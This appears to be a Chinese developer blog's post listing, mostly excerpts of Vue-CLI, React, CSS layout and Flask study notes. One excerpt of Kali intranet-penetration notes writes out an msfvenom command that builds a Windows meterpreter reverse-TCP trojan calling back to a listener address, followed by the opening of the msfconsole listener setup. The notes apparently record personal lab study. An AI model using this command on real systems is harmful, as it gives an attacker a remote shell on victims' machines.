- 博客(14)
- 资源 (2)
- 收藏
- 关注
原创 使用React实现井字棋小游戏
使用React实现井字棋小游戏 按照React官方教程来实现一个井字棋小游戏并完善其他功能,这里主要讲怎么完善这些功能 在游戏历史记录列表显示每一步棋的坐标,格式为 (列号, 行号)。 在历史记录列表中加粗显示当前选择的项目。 使用两个循环来渲染出棋盘的格子,而不是在代码里写死(hardcode)。 添加一个可以升序或降序显示历史记录的按钮。 每当有人获胜时,高亮显示连成一线的 3 颗棋子。 当无人获胜时,显示一个平局的消息。 点击此处获取React官方井字棋小游戏源码———官方代码. 点击此处获取
2020-10-20 20:52:50 995
原创 VUE-CLI学习第八天
VUE-CLI学习第八天axios学习安装axiosaxios基本使用axios的all方法axios全局配置创建axios实例axios的封装方法1(使用success、failure回调出数据)方法2(与方法1同一概念,只是将success、failure的对象名暴露了出来)方法3(结合Promise)方法4(与方法3同一概念,instance(config)本身就是一个Promise对象)axios拦截器 axios学习 安装axios npm install axios --save axios基
2020-08-07 18:21:56 418
原创 VUE-CLI学习第七天
VUE-CLI学习第七天vue_vuex学习vuex结构引入vuexvuex的使用statemutationactionmodulesgetters对象解构vuex模块封装 vue_vuex学习 vuex结构 src/store/index.jsimport Vue from 'vue' import Vuex from 'vuex' Vue.use(Vuex) export default new Vuex.Store({ state: { }, mutations: {
2020-08-07 14:07:36 359
原创 vue_cli4遇到的问题及解决
vue_cli4遇到的问题及解决vue_cli4遇到的问题及解决新建项目时报错 vue_cli4遇到的问题及解决 新建项目时报错 新建项目代码 vue create [project_name] 报错信息图 解决办法 检查node版本与npm版本是否匹配(查看官网对应版本信息:https://nodejs.org/zh-cn/download/releases/)node --version npm --version 清除npm缓存npm cache clean --for
2020-08-06 18:50:20 824
原创 VUE-CLI学习第六天
vue-cli-tabbar封装学习 slot实现tabbar封装 创建tabbar组件(TabBar.vue) 创建tab-bar块,并放入slot插槽,slot可以在在调用此组件时插入其他组件<template> <div id="tab-bar"> <slot></slot> </div> </template> 导出组件<script> export default {
2020-08-05 14:39:15 135
原创 css常用布局之三列布局学习
css常用布局之三列布局学习 圣杯布局 圣杯布局就是左右两边大小固定不变,中间宽度自适应 使用position实现 步骤 首先main,left,rigth放在main中,center放在最前面<div class="main"> <div class="center">中间</div> <div class="left">左</div> <div class="right">右</div>
2020-08-03 14:24:14 169
原创 VUE-CLI学习第五天
VUE-CLI学习第五天1.vue-cli打包文件解析dist/js/xxx.js文件2.vue-router的路由懒加载3.嵌套路由父组件子组件(HomeNews子组件)src/router/index.js文件4.传递参数1. params传参请参考第四天学习笔记2. query传参使用标签传参使用事件传参(接收参数页面与标签传参方法一致)5.\$router与\$route的区别6.全局导航守卫官方文档单独配置页面标题全局配置页面标题全局前置钩子与后置钩子路由独享的守卫组件内的守卫7.keep-ali
2020-07-15 20:57:12 150
原创 VUE-CLI学习第四天
vue-router学习 创建vue-cli项目 勾选router选项 vue-router适合构建单页面应用 https://router.vuejs.org/zh/ 配置路由 src/router/index.js(vue-cli4创建项目时勾选会自动生成)//导入相应文件与包 import Vue from 'vue' import VueRouter from 'vue-router' import Home from '../views/Home.vue' //通过Vue.use(插件),安
2020-07-14 21:56:49 121
原创 VUE-CLI学习第三天-02
VUE-CLI学习第三天-02VUE-CLI基础全局安装vue/cli拉取 2.x 模板 (旧版本)创建VUE-CLI4项目VUE-CLI4项目文件信息VUE-CLI4配置文件的查看和修改 VUE-CLI基础 全局安装vue/cli @~ npm install @vue/cli -g 拉取 2.x 模板 (旧版本) 安装桥接工具@~ npm install -g @vue/cli-init 创建2.x版本项目@~ vue init webpack 项目名称 创建VUE-CLI4项目 @~ v
2020-07-13 21:29:40 109
原创 VUE-CLI学习第三天-01
VUE-CLI学习第三天-01webpack配置Vue安装VUE配置webpack.congfig.js导入vueVue创建templatetemplate组件替换将组件放入其他js创建vue文件模板vue文件用webpack封装安装相应loader配置webpack.congfig.js此时遇到的打包报错问题打包html的plugin安装plugin配置webpack.congfig.js删除html文件对js文件的引入js压缩的plugin安装plugin配置webpack.congfig.jswebp
2020-07-13 21:27:37 119
原创 VUE-CLI学习第二天
VUE-CLI学习第二天loaders基础(打包css等样式)安装loaders配置webpack.config.js引入css等文件打包图片ES6转ES5安装babel-loader配置webpack.config.js loaders基础(打包css等样式) 安装loaders 由于css等文件在打包时webpack不具备相应的能力,所以需要安装loaders来进行打包 www.webpackjs.com查看文档来查阅相应文件所需的loaders 示例(css-loader)(解析 CSS 文件后,使
2020-07-12 23:08:42 101
原创 VUE-CLI学习第一天
VUE-CLI学习第一天webpack基础安装node全局安装webpack(此处为3.6.0版本)开发依赖webpack安装(在项目文件夹cmd运行)依赖环境打包命令commmonjs规范模块化导出导入es6规范模块化导出导入webpack基本使用打包(模块的依赖不用考虑,简单打包)项目化打包生成package.json文件建立webpack.config.js文件修改package.json webpack基础 安装node 检查是否安装node @~ node -v 全局安装webpack(此处为3
2020-07-12 01:00:54 297
原创 Python-Flask框架学习总结
Python-Flask框架学习总结Python-Flask框架学习总结flask-sqlacodegen模块新建model文件封装db.py文件将生成的model文件中修改db变量数据库引入及引用数据库切片调用当前时间过滤昵称表情返回网址上传图片(小程序版) Python-Flask框架学习总结 本文讲的是在我使用Flask框架开发中所学到的笔记 flask-sqlacodegen模块 安装:...
2020-03-09 14:42:27 547
原创 kali内网渗透学习笔记
kali内网渗透学习笔记 使用msfvenom生成木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=33333 -f exe x> /root/桌面/test1.exe LHOST是主机ip ,LPORT是自己设置的端口号 使用msfconsole监听木马(依次输入下列命令) use exp...
2020-03-09 10:10:25 2196 1
kuxChangeToMP4.rar
2020-08-03
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人